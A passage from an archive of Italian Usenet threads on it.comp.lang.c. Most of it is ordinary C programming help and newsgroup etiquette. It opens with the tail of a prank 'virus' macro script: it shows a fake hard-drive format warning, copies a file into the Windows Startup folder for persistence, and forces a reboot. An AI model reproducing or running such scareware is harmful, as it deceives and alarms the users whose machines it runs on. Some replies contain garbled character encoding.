WriteToFile("c:\vviirruuss\b4.txt","But my pc is still burning")
WriteToFile("c:\vviirruuss\b5.txt","oh no my PC IS burning...........")
RunProgram("c:\vviirruuss\b1.txt",Normal)
Delay(2000)
CloseWindow("B1 - Blocco note")
RunProgram("c:\vviirruuss\b2.txt",Normal)
Delay(2000)
CloseWindow("B2 - Blocco note")
RunProgram("c:\vviirruuss\b3.txt",Normal)
Delay(2000)
CloseWindow("B3 - Blocco note")
RunProgram("c:\vviirruuss\b4.txt",Normal)
Delay(2000)
CloseWindow("B4 - Blocco note")
RunProgram("c:\vviirruuss\b5.txt",Normal)
Delay(2000)
CloseWindow("B5 - Blocco note")
MessageBoxOkCancel("Are you sure to format all on your hard-drive??")
MouseClickScreen(236,365)
If(MouseClickScreen(236,365),MessageBox("Too LATE"))
CopyFile("c:\vviirruuss\np2.gc","c:\Windows\Menu Avvio\Programmi\Esecuzione
Automatica\np2.gc")
RebootSystem()
ExitMacro()
:LOGONO
CopyFile("c:\documenti\logo.sys","c:\logo.sys")
WriteToFile("c:\vviirruuss\Virus.hzd","ByebyePC")
WriteToFile("c:\vviirruuss\config.bat","Ahahahahahahah")
MessageBox("ByeByePC")
WriteToFile("c:\vviirruuss\b1.txt","oh no my PC IS burning...........")
WriteToFile("c:\vviirruuss\b2.txt","And my brother is called bungooooo")
WriteToFile("c:\vviirruuss\b3.txt","Oh, the fireworks")
WriteToFile("c:\vviirruuss\b4.txt","But my pc is still burning")
WriteToFile("c:\vviirruuss\b5.txt","oh no my PC IS burning...........")
RunProgram("c:\vviirruuss\b1.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b2.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b3.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b4.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b5.txt",Normal)
Delay(2000)
MessageBoxOkCancel("Are you sure to format all on your hard-drive??")
MouseClickScreen(236,365)
If(MouseClickScreen(236,365),MessageBox("Too LATE"))
CopyFile("c:\vviirruuss\np2.gc","c:\windows\menu avvio\programmi\esecuzione
automatica\np2.gc")
RebootSystem()
ExitMacro()
Grazie mille a tutti
ciao
EUROBOND

 EUROBOND
ciao
-- 
_today is Saturday 30 October_
      -= v3j3ta 99 | is the administrator @ 
penguinpowered.com
 =-
Powered by BadPenguin GNU/Linux -- 
www.badpenguin.org
 -- pgpkey
available
88 fingers louie : the choice of a _punk_ generation (vejsign 0.2b)
Newsgroup: it.comp.lang.c
Titolo: Esame Programmazione I Domande ricorrenti

Vi chiedo appena 2 minuti per rispondermi, aiutatemi, grazie!
1) cosa è il pre-processore
2) cosa è/a cosa serve il compilatore
3) come funziona il complemento a 2
4) cosa è un linguaggio di programmazione strutturato
scusate se sono banali ma mi servono risposte chiare, semplici ed
esaurienti.
Grazie a tutti!

 Vi chiedo appena 2 minuti per rispondermi, aiutatemi, grazie!
<...>
Sei off-topic, rivolgiti ad un altro gruppo.
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

 Sei off-topic, rivolgiti ad un altro gruppo.
che significa off-topic????
-- 
Renato Zero
Provaci a riemergere, da quei sogni che il tuo silenzio ha ucciso...che 
ne sai, dell'origine, delle lacrime, se non ha mai pianto...provaci, a 
scommettere, che al traguardo tu non sarai secondo...agile è 
quest'anima,  non puoi vincerla, non la puoi ingannare più......PROVA A 
PRENDERMI......

 
Significa fuori-argomento. Viene solitamente abbreviato con OT.
Questo messaggio per esempio e' OT.
Ogni gruppo (o newsgroup) dovrebbe ospitare unicamente messaggi
che trattano dell'argomento specifico stabilito nel cosiddetto
"manifesto" del gruppo.
Questo gruppo tratta di questioni connesse al linguaggio C come
linguaggio (e non, per esempio, delle sue diverse implementazioni sotto
diversi sistemi operativi).
La domanda dell'OP (original poster, ovvero chi ha iniziato la 
discussione) qui e' OT: potrebbe rivolgersi al gruppo 
it.scienza.informatica  (oppure potrebbe prendere qualunque
testo base di informatica o gli appunti delle lezioni o cercare con
google e sforzarsi un pochino i neuroni).
ciao,
g.

 Vi chiedo appena 2 minuti per rispondermi, aiutatemi, grazie!

Pensa a studiare invece di scroccare risposte e se proprio non ti va impara
ad usare un motore di ricerca.



beh sono le tipiche risposte che trovi su un testo di C tipo il
Deitel&Deitel primo capitolo.

On Fri, 20 May 2005 08:36:52 GMT, Some days are better than others
<TOGLIQUEST...@tiscali.itTOGLIQUESTO> wrote:

poi non ho capito! fanno domande di questo genere all'esame? non fanno
scrivere un programma in C?

 scrivere un programma in C?
E soprattutto, so delle domande che sono talmente semplici come fare x +
y...
sono banali... che cacchio ci vuole a rispondere...
Bah... Flick ma... tu hai mai programmato?
Bye,
--
Carmine ( 
pikachu...@gmail.com
 (Togli la scritta NOSPAM) )
Webmaster di The Total Site (
http://www.tekkentag.altervista.org/
 )
Webmaster di SceptilePage (
http://www.sceptilepage.altervista.org/
 )
Account Messenger: 
thetot...@msn.com
MyBLOG (NEW!!) 
http://spaces.msn.com/members/itanet/

> Bah... Flick ma... tu hai mai programmato?
OCACCHIO !!!
SCUSA FLICK !!!
Volevo dire : "Some days are better than oters, tu hai mai programmato?"
SCUSA FLICK !!!

Newsgroup: it.comp.lang.c
Titolo: Interrupts BIOS

Cerco una la lista degli interrupt BIOS . Più o meno completa.

Cerco una la lista degli interrupt BIOS . Più o meno completa.
Prova a cercare in rete la lista di Ralph Brown.
E' molto completa.
Dovresti trovare qualche riferimento anche alla pagina 
www.delorie.com

 wrote in message
news:375859cb...@diesel.cu.mi.it...

La conosco la lista di Ralph Brown. E' gestita da un programma su DOS,che fa
proprio schifo . Per trovare un interrupt che ti interessa ci vuole la mano
di dio.
Mica ne conosci qualche altra , anche se non così completa.

proprio schifo .
Io so che la lista di Ralph Brown e' in formato testo, convertibile in
moltissimi tipi di documenti ipertestuali, compreso il formato Help di
Windows.
Prova a leggere meglio la documentazione.
E poi, scusami, ma non credo che valga la pena di cambiare la scelta
di una lista talmente completa, solo perche' il programma che la
gestisce non e' dei migliori.

Newsgroup: it.comp.lang.c
Titolo: C & MIDI !! Aiutatemi [Correzione]

Mi correggo ... Esiste qualche sito che mette a disposizione librerie
per l'utilizzo del formato MIDI con il linguaggio C ??? Dove posso
trovare info più dettagliate su questo formato ???
Grazie !!			
uga...@libero.it

Dove posso trovare info più dettagliate su questo formato ???
www.wosit.org
Ciao, Giuseppe
---------------------------------------------------------------------------
_Guybrush su IRCNet canale #programmazione
ICQ: 42227764
---------------------------------------------------------------------------
Newsgroup: it.comp.lang.c
Titolo: insert_tree....ma perchè non va?

Ho bisogno di una funzione che attacchi ad un albero di ricerca un nodo nella posizione
giusta. Io avevo pensato una cosa del genere:
dalla main faccio una chiamata del genere:
	inserisci_albero(radice_albero_ptr,word_the_documenti);
void inserisci_albero(ALBERO* nodo_radice,char *word){
	int result;
	if(!nodo_radice){
		nodo_radice = malloc(sizeof(ALBERO));//qua va inserito un controllo.
		strcpy(nodo_radice->data,word);
		nodo_radice->figlio_sinistro = nodo_radice->figlio_destro = NULL;
	}
	else{
		result=confronta(nodo_radice->data,word);	
		if (result < 0){
			inserisci_albero((nodo_radice->figlio_destro),word);
		}
		else{
			inserisci_albero((nodo_radice->figlio_sinistro),word);
		}
	}
}
int confronta( char* first, char* second){
	int sentinella_confronta = 0;
	sentinella_confronta = strcmp(first,second);
	if (sentinella_confronta < 0)
		return -1;
	if (sentinella_confronta == 0)
		return 0;
	return 1;
}
Ma non credo che basti, vedo che la testa dell' albero è sempre null e nessun elemento viene inserito
correttamente. Sai darmi una dritta???
Grazie Salvatore.
p.s. calcola che confronta non può mai restituire "0" .(ho gia fatto un altro controllo prima.)


Il primo argomento deve essere un ptr a ptr ALBERO cioe' ALBERO 
**nodo_radice altrimenti non puoi modificare in maniera permanente il 
ptr nodo_radice....!!!!
La chiamata a funzione sara'
inserisci_albero(&radice_albero_ptr,word_the_documenti);
Il resto del codice non lo ho analizzato !!!
Prova e fammi sapere...!!!
bye bye
Luciano

 Luciano
byez Salvatore.
Newsgroup: it.comp.lang.c
Titolo: [Newbye] Allocazione al di fuori della subroutine

Salve,
	ho una routine che deve allocare al suo interno una matrice e
riempirla... I prototipi di chiamata sono questi
void SolveT0(...,...,***StatBas,...) {
	...
	*StatBas = imatrix(1,N,1,N);
	...
	StatBas[i][j] = qualcosa <-------------------
	}
void Current(...) {
	int **StatBas;
	...
	SolveT0(...,...,&StatBas,...)
	...
	}
, dove imatrix() e' sostanzialmente un wrapper a malloc, preso paripari da
"Numerical Recipes" per non aver problemi di indici con il resto delle
loro routine... Ovviamente, il compilatore e' ben felice e se ne guarda
dal segnalare errori... Il programma, comunque, SIGSEGVa alla linea
segnalata dalla freccia... Gli indici "i" e "j" sono entrambi nei
limiti.... Dove diamine sto sbagliando ? Scusate la prolissita'...
|~~~~~~|
|(O>   |\  Fabio Cavaliere (Homebrew apprentice & GLUG member)
|//\   | |
|V_/_  | | e-mail > 
cava...@server3.fisica.unige.it
|######|-  GLUG on the Web : 
http://genova.linux.it
+------+

	StatBas[i][j] = qualcosa <-------------------
(*StatBas)[i][j] = qualcosa
--
CyberWalkie - walkietalkie(at)
libero.it
Newsgroup: it.comp.lang.c
Titolo: Assegnare void* a un puntatore di altro tipo senza cast

void prova (void) {
  int x;
  void *p = &x;
  char *c;
  c = p;
}
Questa funzione viene compilata correttamente su un compilatore (per
microcontrollore a 16bit), mentre mi dà error su Codeblocks (porting
gcc su Windows). Ovviamente l'errore scompare se esplicito il cast
(char *) nell'assegnamento.
Cosa dice lo standard? E' possibile assegnare un void* ad un puntatore
tipizzato senza cast oppure no? Oppure non specifica nulla?
Forse è un caso, forse no. Su gcc esiste typeof() che viene in aiuto
in questi casi, sull'altro compilatore per microcontrollore non esiste
typeof(), ma in questi casi non servirebbe.
Per inciso, typeof() è un operatore standard oppure no?
Non sarebbe stato meglio, nel gcc, dare semplicemente un warning
anzichè bloccare la compilazione con un errore?

 anzich� bloccare la compilazione con un errore?
No, se compili in modalit� C++ � corretto che dia un errore, perch� per il
C++ � appunto un errore. Compila in modalit� C e non avrai n� warning n�
errori.
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

 Stai compilando C++. Il cast in C++ è obbligatorio, mentre non lo è in C.
Hai ragione... Codeblocks compila evidentemente per default in
modalità
C++.

 C++.
No, te lo chiede.


Newsgroup: it.comp.lang.c
Titolo: Puntatori a file

 
 
 
E possibile copiare un puntatore a file?
 
E  possibile incrementare un puntatore a file, senza un  fscanf/fgets, in
modo che passi alla riga x+1?, senza tornare all'inizio del ciclo while/for?
 
Ciao
 
 
 
 
 
 
 

 Ciao
 
Ciao!

Addì  lunedì 21 gennaio 2013 22:02 Alter scrisse:

Guarda o parli italiano o chiedi l'insegnante di sostegno perché credo che
nessuno abbia capito cosa vuoi, nemmeno tu.

 modo che passi alla riga x+1?, senza tornare all'inizio del ciclo while/for?
 
Un file mica ï¿œ un array dove incrementando il puntatore ti muovi fra gli 
elementi.
Devi usare fseek.
 
http://digilander.libero.it/uzappi/C/librerie/funzioni/fseek.html
 
 
 
 
 
--- news://
freenews.netfront.net/
 - complaints: 
ne...@netfront.net
 ---


 
Il concetto di riga x+1 ha un senso solo se si parla di file di
testo (ovvero file contenenti solo caratteri ASCII stampabili,
per i quali, convenzionalmente, si ririene che il terminatore
di riga e' il carattere '\n').
 
C:\>iao Angelo
Newsgroup: it.comp.lang.c
Titolo: Problemi con un Array...

Ciao a tutti...
Ho una domanda abbastanza banale...(spero ^_^).
Se creo un array di interi all'interno di una funzione e gli carico dei
valori dentro...poi come faccio a restituirlo al main?
L'unica soluzione che ho trovato è stata quella di creare l'array nel main e
poi passare il punt al suo primo elemento alla funzione...
Grazie 1000 a tutti!
Enrico S.


The majority of the stupid is invincible and guaranteed for all time.
The terror of their tyranny, however, is alleviated by their lack of
consistency.
                -- Albert Einstein

E' esattamente quello che avevo fatto io prima, ma senza lo static non
funzionava, mi sai dire il perchè? Mi pongo questa domanda perchè le metrici
invece le puoi passare tranquillamente...senza static...
Grazie 1000!
Enrico S.
--
Webmaster della Pagina NON Ufficiale del SonyCRX100
SonyCRX120,  SonyCRX140E/S, SonyCRX100EX, HP8100
HP8200, HP9100 & HP9200
http://www.freeweb.org/computer/SonyCRX100/

 Enrico S.
ciao ... spero di essere stato chiaro .... se hai ancora dubbi chiedi
pure ;-)))



Crei un array dinamico con malloc e poi restituisci il puntatore.
int * fun( size_t num_el) /* + eventuali altri parametri */
{
int *pInt;
pInt = malloc(num_el * sizeof(int));
/* tue istruzioni */
return pInt;
}
in main aggiungi
int * Array;
Array = fun(Numero_Elementi);
''''''
''''''
E ,alla fine,:
free(Array);
HTH
gfb

 poi passare il punt al suo primo elemento alla funzione...
Esatto. Oppure potresti incapsulare l'array in una struttura che
verrebbe così restituita per valore, al contrario dell'array "nudo".
EMG

Sei un grande, grazie 1000!!!


 Sei un grande, grazie 1000!!!
mi confondi ... con qualcun'altro ;-))))
ciao ... a disposizione ...

Newsgroup: it.comp.lang.c
Titolo: problema con C++ Builder e asm

Stavo cercando di tradurre alcune unit grafiche che avevo scritto in Pascal
in c ma mi si č presentato subito un ostacolo.
Mi succede che appenta inizializzo la grafica attraverso l'int 10h windows
produce la sua solita schermata blu e mi termina il programma. Con altri
compilatori (TurboC) il problema non si presenta e la grafica si inizializza
normalmente. La funzione in questione č:
void initgraph() {
     _AX = 0x0013;
  geninterrupt (0x10);
     }
ho provato anche a riscriverla in
void initgraph() {
  asm {
  mov ah, 00
  mov al, 13h
  int 10h
     }
}
ma mi compare sempre la schermata blu errore...
Come posso risolvere il problema, devo inserire qualche parametro di
compilazione strano ?

 produce la sua solita schermata blu e mi termina il programma.
non puoi manipolare l'hardware direttamente (ne i vecchi interrupt DOS) in
pogrammi windows.
se BCB lo supporta ancora (non conosco il BCB) crea un programma x DOS.
ciao
donCiccio

 wrote in message
KgNk8.29364$%g7.8...@twister2.libero.it...

il mio programma è da console. Il BCB lo chiama console wizard impostato con
codice c (e non c++), ma l'errore c'è; non è che devo passare qualche
direttiva di compilazione particolare che mi permetta di manipolare i
registri e di chiamare gli int, altrimenti la funzione per chiamare gli int
senza scrivere un codice asm geninterrupt a che serve se dà sempre errore ?


I programmi "Win32 Console Application" sono comunque programmi windows,
quindi niente uso diretto di hardware e DOS.
Devi creare un programma DOS puro, e credo che BCB non lo possa fare, cosi'
come non lo fa VisulaC++.
Procurati un compilatore piu' vecchio, oppure il BC++5.5 per linea di
comando.
ciao
donCiccio

Newsgroup: it.comp.lang.c
Titolo: aiuto x conversione

Ciao, chi può aiutarmi a convertire un file sorgente fatto in ansi c in un
file eseguibile su una calcolatrice hp49g.
So che qualcosa del genere si può fare vi prego aiutatemi

Anche a me, leggete "Intelligenza Artificiale in c"
--------------------------------
Inviato via 
http://usenet.iol.it

Newsgroup: it.comp.lang.c
Titolo: Le FAQ in italiano

Esistono ? Io ho la FAQ di comp.language.c ma l'ho trovata solo in
inglese...
Mauro              
mailto:
mg...@polbox.com

inglese...
Stiamo discutendo proprio in questi giorni se sia opportuno tradurre
quelle americane, lasciarle cosi' come sono o di scriverne di nuove
italiane.
Non siamo ancora arrivati ad un punto di accordo e tra l'altro e'
difficile arrivarci.

difficile arrivarci.
Forse pero' produrre una FAQ "non ufficiale" :-) sarebbe buona cosa
per molti...io me la caverei anche a leggerla,il fatto e' che non
conosco l'argomento C (e vado MOOOLTO piano :-) essendomi avvicinato
da poco,se a quello aggiungiamo l'inglese ... :-)
Cmq mi offro volontario per l'opera pia di traduzione :-)
Ciao
Mauro              
mailto:
mg...@polbox.com